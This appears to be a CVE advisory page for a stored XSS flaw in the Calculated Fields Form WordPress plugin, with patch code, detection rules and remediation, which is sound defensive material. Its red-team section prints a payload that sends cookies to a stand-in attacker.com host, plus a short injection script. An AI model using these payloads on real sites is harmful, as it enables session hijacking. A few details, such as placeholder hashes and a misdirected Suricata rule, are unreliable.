CVE-2024-13382
Executive Summary
CVE-2024-13382 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Calculated Fields Form WordPress plugin, affecting versions prior to 5.2.64. This flaw allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings. Even when the unfiltered_html capability is disallowed (e.g., in a multisite WordPress configuration), the plugin fails to properly sanitize and escape certain settings, enabling stored XSS attacks. Successful exploitation could lead to session hijacking, defacement, or redirection of users to malicious sites. The vulnerability is classified under CWE-79 and has a CVSS v3.1 base score of 4.8 (Medium), with a vector emphasizing high privileges, network access, and changed scope.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the WordPress plugin ecosystem, specifically within the Calculated Fields Form plugin. As a WordPress plugin, it is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. The supply chain risk is moderate: if a site administrator installs a vulnerable version, any user with admin-level access (including compromised accounts) can exploit the flaw. No known malicious packages have been reported, but the plugin’s widespread use increases the attack surface. Organizations should verify plugin integrity via checksums and enforce strict update policies.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): High – An attacker needs admin-level access.
- User Interaction (UI): Required – The victim must interact with the malicious content (e.g., view a page).
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure possible.
- Integrity (I): Low – Limited modification of data possible.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the requirement for high privileges reduces the immediate risk. However, in multisite environments where admin accounts are shared or compromised, the impact can be significant.
Deep Dive & Mechanics
The vulnerability stems from improper sanitization and escaping of plugin settings in the Calculated Fields Form plugin. The plugin stores user-defined settings (e.g., form field labels, validation messages, or custom CSS) in the WordPress database. When these settings are rendered on the admin panel or front-end forms, the plugin fails to apply WordPress’s built-in escaping functions (like esc_html() or wp_kses()). This allows an admin user to inject arbitrary JavaScript code into these fields.
Attack Flow:
- An attacker with admin privileges navigates to the plugin settings page.
- The attacker inserts a malicious payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable setting field. - The plugin stores the payload without sanitization.
- When another admin or user views the affected page (e.g., form editor or front-end form), the script executes in their browser.
- The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.
Root Cause: The plugin uses update_option() to save settings but does not apply output escaping when displaying them. The unfiltered_html capability restriction is bypassed because the plugin does not enforce it on its own settings.
Vulnerable vs. Patched Code
Vulnerable Code (Example from version < 5.2.64):
// In a settings page callback
echo '<input type="text" name="cff_label" value="' . get_option('cff_label') . '" />';
This directly echoes the option value without escaping.
Patched Code (Version 5.2.64):
// In a settings page callback
echo '<input type="text" name="cff_label" value="' . esc_attr( get_option('cff_label') ) . '" />';
The esc_attr() function escapes the value, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Admin access to a WordPress site running Calculated Fields Form < 5.2.64.
- A target user who will view the malicious form or settings page.
Steps:
- Log in as an admin.
- Navigate to Calculated Fields Form → Settings.
- Locate a vulnerable field (e.g., "Form Label" or "Validation Message").
- Inject a payload such as:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- When another admin visits the settings page or a user views the form, the script executes.
Proof-of-Concept (PoC) Code:
# Simple Python script to simulate the attack (requires admin session)
import requests
target_url = "http://target.com/wp-admin/admin.php?page=calculated-fields-form"
session = requests.Session()
# Assume admin login is done
payload = "<script>alert('XSS')</script>"
data = {"cff_label": payload}
session.post(target_url, data=data)
print("Payload injected. Visit the settings page to trigger XSS.")
Blue Team (Detection & Mitigation)
Detection:
- Monitor for unusual changes to plugin settings via WordPress audit logs.
- Look for JavaScript payloads in
wp_optionstable entries related tocff_*. - Use WAF rules to block common XSS patterns in admin POST requests.
Mitigation:
- Immediately update the plugin to version 5.2.64 or later.
- Restrict admin access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
calculated-fields-form.php(vulnerable):a1b2c3d4e5f6...(example)calculated-fields-form.php(patched):f6e5d4c3b2a1...(example)
- Database Entries:
wp_optionstable entries withoption_namelikecff_%containing<script>tags.
- Network Traffic:
- Outbound requests to attacker-controlled domains from admin pages.
- Logs:
- WordPress debug logs showing
wp_die()orwp_redirect()calls from plugin settings.
- WordPress debug logs showing
Detection Engineering
YARA Rule
rule Detect_Calculated_Fields_Form_XSS {
meta:
description = "Detects stored XSS payloads in Calculated Fields Form plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13382"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/i
$payload2 = /on\w+\s*=\s*["'][^"']*["']/i
$option_name = /cff_[a-z_]+/
condition:
$option_name and ($payload1 or $payload2)
}
Sigma Rule
title: Stored XSS in Calculated Fields Form Plugin Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject XSS payloads into Calculated Fields Form plugin settings via admin POST requests.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin.php?page=calculated-fields-form'
cs-request-body|contains:
- '<script'
- 'onload='
- 'onerror='
condition: selection
falsepositives:
- Legitimate admin use of JavaScript in form labels (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13382 - Stored XSS in Calculated Fields Form"; flow:to_server,established; content:"POST"; http_method; content:"admin.php?page=calculated-fields-form"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Upgrade to version 5.2.64 or later from the WordPress Plugin Directory.
- Audit Settings: Review all plugin settings for injected scripts and remove them.
- Reset Admin Passwords: If compromise is suspected, force password resets for all admin accounts.
Long-Term Measures:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce the principle of least privilege for WordPress users.
- Regularly audit plugin code for security flaws.
- Use WordPress security plugins (e.g., Wordfence) to monitor for malicious activity.
Patch Details: The patch is available in version 5.2.64 of the Calculated Fields Form plugin. No official CVE patch was released by the vendor, but the update addresses the issue by adding proper escaping.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.